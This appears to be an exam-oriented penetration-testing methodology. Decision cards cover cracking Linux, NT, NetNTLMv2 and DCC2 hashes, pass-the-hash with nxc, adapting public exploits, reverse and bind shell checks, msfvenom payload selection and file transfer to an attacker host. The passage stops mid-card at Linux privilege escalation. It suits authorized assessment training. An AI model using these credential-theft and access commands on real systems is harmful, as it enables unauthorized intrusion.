Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Inspect and recover SSH private-key accessNot inspectedA private key from a file read, share, repository or home directory
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
file KEY
ssh-keygen -y -f KEY
Read the result
The artifact is a private key protected by a local passphrase; this is separate from the SSH account password.
Still check: Determine the protecting passphrase, associated remote user, accepted algorithm and server key authorization.
Illustrative output
KEY: OpenSSH private key Enter passphrase for KEY:
Validate prerequisites and compare methods
Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy
chmod 600 KEY
ssh-keygen -y -f KEY
What did you find?
Enabled: The key parses and the correct server account accepts it: use its permitted shell/subsystem/forwarding capability.
Ruled out here: The artifact contains only a public key: reject private-key authentication with that file.
Unresolved: A decrypted key rejected by the server leaves username/authorization/policy unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Recover Linux account passwords from matched recordsNot inspectedReadable password verifiers and account metadata
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
file passwd.txt shadow.txt
head -n 3 passwd.txt
head -n 3 shadow.txt
Read the result
The matching account name and verifier prefix identify an offline password-recovery candidate.
Still check: Confirm snapshots, hash format and account state; a locked field or absent salt is not a normal usable verifier.
Illustrative output
passwd: USER:x:USER_ID:GROUP_ID:...:/home/USER:/bin/bash shadow: USER:$ALGORITHM$SALT$VERIFIER:...
Validate prerequisites and compare methods
Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy
unshadow passwd.txt shadow.txt > linux.hashes
john --wordlist=WORDLIST linux.hashes
What did you find?
Enabled: A complete supported verifier and feasible candidate space exist: recover, then validate the matching account.
Ruled out here: The password field is locked with no usable verifier: reject recovery from that field.
Unresolved: Mismatched backups or unknown account scope require source consistency checks.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Recover or reuse an NT password hashNot inspectedAn NT verifier from an appropriate credential source
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
head -n 3 hashes.txt
Read the result
The source and record fields identify an NT verifier for that local account, not a captured challenge response.
Still check: Verify the actual NT field, account scope and an accepting service/client with the required destination right.
Illustrative output
USER:RID:LM_HASH:NT_HASH::: Source: matched local registry extraction
Validate prerequisites and compare methods
Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
hashcat -m 1000 hashes.txt WORDLIST
nxc smb TARGET -d DOMAIN -u USER -H HASH
What did you find?
Enabled: A compatible service accepts the correctly qualified hash identity: use only its verified authorization.
Ruled out here: The source produced Net-NTLMv2 or DCC2 instead: reject direct NT-hash reuse.
Unresolved: An unlabeled hexadecimal value remains unknown until the source/account is resolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Recover a password from a captured NTLM responseNot inspectedA complete challenge-response record
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
head -n 2 responses.txt
Read the result
A challenge-bound response supports its appropriate offline verification workflow; it is not the long-term NT hash.
Still check: Check complete capture format, account mapping and feasible candidates; acquisition/relay policy is a separate issue.
Illustrative output
USER::DOMAIN:SERVER_CHALLENGE:NT_PROOF:BLOB
Validate prerequisites and compare methods
Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context
hashcat -m 5600 responses.txt WORDLIST
What did you find?
Enabled: A complete supported record permits offline recovery and later password validation.
Ruled out here: Using this response directly as an NT hash is the wrong mechanism: reject that authentication attempt.
Unresolved: Truncated challenge/blob fields cannot support a valid recovery conclusion.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Recover a password from cached domain logon verifiersNot inspectedA DCC2/MSCache record from matched SECURITY/SYSTEM material
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
head -n 3 dcc2.txt
Read the result
The DCC2 structure and username-associated derivation identify offline cached-logon material.
Still check: Verify iteration/username context, source consistency and current online account state after any recovery.
Illustrative output
$DCC2$ITERATIONS#USER#VERIFIER
Validate prerequisites and compare methods
Correct username/salt/iteration context and feasible offline candidates
hashcat -m 2100 dcc2.txt WORDLIST
What did you find?
Enabled: A complete supported record and feasible candidates enable the DCC2 recovery workflow.
Ruled out here: DCC2 is not accepted directly as an NTLM long-term hash: reject that reuse route.
Unresolved: A recovered old password may be stale; validate current account acceptance without assuming extraction failed.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Classify tickets and use a compatible cacheNot inspectedA ccache/kirbi file or an existing ticket cache
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
klist -c FILE
Read the result
This is service-scoped CIFS material, not a TGT for requesting arbitrary services.
Still check: Check lifetime, cache format, exact SPN/name, route and destination object authorization.
Illustrative output
Default principal: USER@REALM Service principal: cifs/TARGET_HOST@REALM No krbtgt ticket listed
Validate prerequisites and compare methods
Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route
klist -c FILE
What did you find?
Enabled: The matching SMB service accepts the ticket and allowed operation: use that scoped capability.
Ruled out here: A CIFS-only ticket does not enable a WinRM-specific authentication path.
Unresolved: An unreadable/expired cache or unknown principal requires inspection/conversion rather than guessed reuse.
Show connections
These are conditional possibilities. Check the named condition before moving.
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Select and adapt public exploits
Match a public exploit to the actual component and configurationNot inspectedA product/version clue, advisory or component-specific public PoC
Starting access: An identified component/build and a candidate exploit with reviewable source
Discover the clue
searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID
Read the result
The exact feature/role/build conditions identify what must be checked; a product-name hit does not establish applicability.
Still check: Resolve every required condition and define the smallest observable proof of the expected effect.
Illustrative output
Candidate requires: FEATURE enabled, authenticated ROLE, affected BUILD Observed deployment: FEATURE state not yet known
Validate prerequisites and compare methods
Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID
What did you find?
Enabled: Build, feature and access conditions match: review and test the candidate's bounded effect.
Ruled out here: The required feature is disabled or the build is patched: reject that candidate.
Unresolved: A generic banner cannot resolve patch/feature state; gather deployment evidence first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Audit a PoC and reproduce its interpreter/dependency environment — A plausible exploit fails before reaching the target or has unreviewed side effects
Requires: Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies
Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Use a framework module with explicit target and feature constraints — A reviewed module fits a verified exploit prerequisite set
Requires: Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions
Audit a PoC and reproduce its interpreter/dependency environmentNot inspectedA plausible exploit fails before reaching the target or has unreviewed side effects
Starting access: An identified component/build and a candidate exploit with reviewable source
Discover the clue
file exploit.py
python3 --version
python3 -m pip --version
Read the result
The failure occurred locally before the vulnerable request; it says nothing about target patch state.
Still check: Review side effects, reproduce supported dependencies/interpreter and observe the real request before judging exploitation.
Illustrative output
Traceback: ModuleNotFoundError: REQUIRED_MODULE No target request observed
Validate prerequisites and compare methods
Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies
file exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate
What did you find?
Enabled: A controlled environment runs the reviewed request: proceed to prerequisite/effect testing.
Ruled out here: The script's assumptions target a different runtime/protocol and cannot match this candidate: reject it.
Unresolved: An import error leaves target behavior unknown; isolate the environment and repair the documented dependency.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Compile and minimally adapt an existing native or memory-corruption PoCNot inspectedAn existing C/C++ or platform-specific PoC matches the candidate
Starting access: An identified component/build and a candidate exploit with reviewable source
Discover the clue
file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT
Read the result
An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.
Still check: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.
Illustrative output
Artifact: ELF 64-bit x86-64 PoC prerequisite: 32-bit target process
Validate prerequisites and compare methods
Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
file exploit.c
uname -m
file COMPILED_ARTIFACT
What did you find?
Enabled: A compatible reviewed artifact and exact target conditions exist: test its bounded effect.
Ruled out here: The target's architecture/mitigation assumptions do not match: reject that PoC route.
Unresolved: Compiler success alone leaves loader and exploit applicability unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Repair a web PoC using the real HTTP transactionNot inspectedAn exploit sends requests but authentication, routing or parsing differs from the target
Starting access: An identified component/build and a candidate exploit with reviewable source
Discover the clue
curl -sk -i -b cookies.txt http://TARGET:PORT/PATH
Read the result
The request never reached the protected operation; the success parser may be reading a login response.
Still check: Restore valid host/path/session/CSRF state, then independently verify the exploit effect.
Illustrative output
PoC response: HTTP/1.1 302 Found Location: /login Actual browser request includes a fresh CSRF token
Validate prerequisites and compare methods
A valid baseline transaction with correct host, base path, session/CSRF state and request encoding
curl -sk -i -b cookies.txt http://TARGET:PORT/PATH
What did you find?
Enabled: The reconstructed request reaches the intended operation and the effect is observed: continue that candidate.
Ruled out here: The real operation/schema is incompatible with the PoC's vulnerable feature: reject it.
Unresolved: A normal HTTP response without authenticated operation evidence leaves exploitation inconclusive.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Establish sessions and move files
Verify command execution, host and represented identityNot inspectedA PoC, injected command or remote client reports execution
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
hostname
id
pwd
Read the result
Host-specific identity output demonstrates execution under that account, not yet a reverse connection or full terminal.
Still check: Record OS, privilege and network position; choose an access form whose interpreter/service and route exist.
Illustrative output
hostname: TARGET_HOST uid=USER_ID(APP_USER) gid=GROUP_ID(APP_GROUP) working directory: /APP_PATH
Validate prerequisites and compare methods
A functioning execution primitive and an observable output or controlled side effect
hostname
id
pwd
ip addr
ip route
What did you find?
Enabled: The intended target's command proof is reproducible: use the confirmed foothold as the starting state.
Ruled out here: The tool's success message has no command-specific effect and the operation is rejected: discard its execution claim.
Unresolved: A hung request with no observable effect leaves execution unknown; obtain a bounded independent observation.
Show connections
These are conditional possibilities. Check the named condition before moving.
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Connect a Linux reverse shell through an available interpreterNot inspectedLinux command execution exists but an interactive channel is needed
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
command -v bash python3 php nc
ip route get LHOST
Read the result
An interpreter plus a plausible outbound route suggests a reverse-channel candidate.
Still check: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.
Illustrative output
/usr/bin/bash /usr/bin/python3 LHOST via GATEWAY dev INTERFACE
Validate prerequisites and compare methods
A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
command -v bash python3 php nc
ip route get LHOST
What did you find?
Enabled: The minimal connection works and the shell/handler matches: select that reverse channel.
Ruled out here: The chosen interpreter is absent: reject that interpreter's payload, retaining other available methods.
Unresolved: A route entry without packet/connection evidence leaves egress filtering unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Use a bind shell when the target can accept inbound connections — Reverse egress is unavailable but a target listener is reachable
Requires: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward
Use Windows authenticated access or a PowerShell command channelNot inspectedWindows execution or valid credentials with an available remote service
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Read the result
The execution identity and constrained language context affect which command-channel implementations can run.
Still check: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.
Illustrative output
User: DOMAIN\APP_USER PSVersion: AVAILABLE_VERSION LanguageMode: ConstrainedLanguage
Validate prerequisites and compare methods
Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
hostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
What did you find?
Enabled: A supported native endpoint or verified compatible command channel works: use it and verify its token.
Ruled out here: The chosen .NET-heavy implementation is blocked by this language mode: discard that implementation.
Unresolved: Unknown policy/AMSI/endpoint behavior requires identifying the first failing layer.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Distinguish PowerShell policy, language mode and protected execution layers — PowerShell reports scripts disabled, constrained syntax or an execution-control error
Requires: Actual host policy/language context and a supported allowed execution route; required runtime features remain available
Use a bind shell when the target can accept inbound connectionsNot inspectedReverse egress is unavailable but a target listener is reachable
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
nc -h
ss -lnt
Read the result
The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.
Still check: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.
Illustrative output
Netcat help: no -e option Selected listen port: not currently bound
Validate prerequisites and compare methods
Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward
nc -h
ss -lnt
What did you find?
Enabled: The selected implementation binds and the source reaches it: use the verified inbound channel.
Ruled out here: The required inbound connection is filtered and no permitted forward exists: reject this bind route.
Unresolved: A local listen socket alone leaves remote firewall/access unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence
Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Generate a payload matching OS, process, format and handlerNot inspectedAn existing exploit/delivery primitive needs a binary or raw payload
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
file TARGET_ARTIFACT
msfvenom -l payloads
msfvenom --list formats
Read the result
The staged payload name and executable consumer must be matched to the handler and delivery format.
Still check: Check target/process architecture, permitted feature, exact payload options, stage route and listener.
Illustrative output
Consumer: Windows x64 executable Candidate payload: windows/x64/shell/reverse_tcp Delivery expects: PE executable
Validate prerequisites and compare methods
Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
msfvenom -l payloads
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
What did you find?
Enabled: Format/architecture/handler and routes all match: generate the selected artifact.
Ruled out here: An ELF or DLL is supplied to an EXE-only consumer: reject that format.
Unresolved: OS architecture without process/delivery evidence does not settle payload compatibility.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Repair a limited Linux terminalNot inspectedA working shell lacks job control, terminal signals or interactive program support
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
tty
command -v python3 script socat
Read the result
A functioning socket shell lacks a controlling terminal while a potential PTY mechanism exists.
Still check: Verify the available PTY mode, local terminal handling and stable connection; privilege remains unchanged.
Illustrative output
not a tty /usr/bin/python3
Validate prerequisites and compare methods
A working channel and available PTY mechanism; correct local-terminal control sequence
tty
command -v python3 script socat
What did you find?
Enabled: The supported PTY and local settings restore terminal behavior: use interactive tools in that same identity.
Ruled out here: The channel drops before any command executes: reject terminal settings as the first fault.
Unresolved: No PTY utility found leaves alternative terminal methods/noninteractive use to investigate.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Transfer over HTTP using Linux or Windows clientsNot inspectedA tool/artifact must reach a target that can make an HTTP request
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
command -v curl wget
ls -ld /tmp
ip route get LHOST
Read the result
A downloader, destination and plausible outbound path enable an HTTP transfer candidate.
Still check: Check actual server bind/directory, HTTP request/response and source/destination hashes.
Illustrative output
/usr/bin/curl /tmp: writable to current user LHOST via GATEWAY dev INTERFACE
Validate prerequisites and compare methods
Correct server bind and served directory; target-to-server route, available downloader and writable destination
python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES
What did you find?
Enabled: The requested file is retrieved and its bytes match: use the verified copy.
Ruled out here: No permitted target-to-server route exists: reject this HTTP pull direction.
Unresolved: A route without a logged request leaves bind/firewall/DNS unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Use enumeration tools to generate manually testable candidates — A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths
Requires: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location
Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location
Move Windows files through an authenticated SMB share — A Windows source can reach a temporary assessment-side SMB service
Requires: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials
Stream a file over a direct TCP connection — Only a raw TCP tool and a direct or forwarded connection are available
Requires: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file
Move a small artifact through a text-only channel — The existing command channel permits text but no convenient file-transfer connection
Requires: Available Base64 encode/decode, adequate command length and a writable destination
Use a temporary FTP transfer as a constrained fallback — The target has an FTP client and simpler transfer routes are unavailable
Requires: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode
Copy files through an authenticated SSH serviceNot inspectedAn SSH identity can access the needed source/destination
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
ssh -v -p PORT USER@TARGET
Read the result
SSH authentication gives a candidate transport; it does not prove SFTP/subsystem support or destination write.
Still check: Validate client/server subsystem compatibility, source read and destination write; inspect resulting bytes.
Illustrative output
Authenticated using publickey Session/subsystem policy: inspect before transfer
Validate prerequisites and compare methods
Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility
ssh -p PORT -i KEY USER@TARGET
What did you find?
Enabled: The supported copy mode writes the intended file and hashes match: use SCP.
Ruled out here: The destination is unwritable: reject that path while retaining SCP to a permitted directory.
Unresolved: Accepted SSH without subsystem evidence leaves transfer behavior unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Move Windows files through an authenticated SMB shareNot inspectedA Windows source can reach a temporary assessment-side SMB service
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
Test-NetConnection LHOST -Port 445
net use
Read the result
The service is reachable, but an existing connection can constrain a different credential context.
Still check: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.
Illustrative output
TcpTestSucceeded : True Existing connection: \\LHOST\OTHER_SHARE as OTHER_USER
Validate prerequisites and compare methods
Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials
Test-NetConnection LHOST -Port 445
What did you find?
Enabled: The intended authenticated share action succeeds and bytes match: use this transfer route.
Ruled out here: Outbound SMB is blocked from this source: reject this direction, choosing another transport.
Unresolved: Transport alone does not settle cached-session identity or object rights.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Stream a file over a direct TCP connectionNot inspectedOnly a raw TCP tool and a direct or forwarded connection are available
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
nc -h
ls -ld /DESTINATION_DIRECTORY
Read the result
A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.
Still check: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.
Illustrative output
Available client: Netcat implementation Direction: sender -> receiver listener Destination: writable
Validate prerequisites and compare methods
Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file
nc -h
ip route get TARGET
What did you find?
Enabled: The chosen stream finishes with matching bytes: use the saved artifact.
Ruled out here: The only available direction cannot reach the receiver: reject this stream route.
Unresolved: A connection with unknown termination/file size leaves transfer completeness unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
Move a small artifact through a text-only channelNot inspectedThe existing command channel permits text but no convenient file-transfer connection
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
command -v base64
wc -c FILE
Read the result
A small artifact and compatible decoder make text transport plausible, without assuming large encoded commands survive.
Still check: Verify exact length/quoting and source/destination hash; use the Windows decoding variant when appropriate.
Illustrative output
/usr/bin/base64 SMALL_BYTE_COUNT FILE
Validate prerequisites and compare methods
Available Base64 encode/decode, adequate command length and a writable destination
base64 -w 0 FILE
sha256sum FILE
What did you find?
Enabled: The complete decoded bytes match: use the text-transfer result.
Ruled out here: The channel truncates below the required encoded size: reject a one-command transfer of this artifact.
Unresolved: Unknown command limits require a harmless small round trip before relying on the channel.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Use a temporary FTP transfer as a constrained fallbackNot inspectedThe target has an FTP client and simpler transfer routes are unavailable
Starting access: Verified command execution or authenticated remote access and a known network path
Discover the clue
ftp
help
quit
Read the result
Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.
Still check: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.
Illustrative output
Client commands include: open, binary, get, put No transfer mode selected yet
Validate prerequisites and compare methods
A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode
ftp LHOST PORT
binary
What did you find?
Enabled: Binary transfer completes and hashes match: use that verified temporary copy.
Ruled out here: Only the control channel works and the required data route is blocked: reject this FTP path.
Unresolved: Client presence alone leaves data transport and server rights unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Copy files through an authenticated SSH service — An SSH identity can access the needed source/destination
Requires: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility
Escalate privileges on Linux
Establish Linux state and choose an escalation candidateNot inspectedA new Linux foothold or an identity/privilege change
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
id
findmnt
ps auxww
sudo -l
Read the result
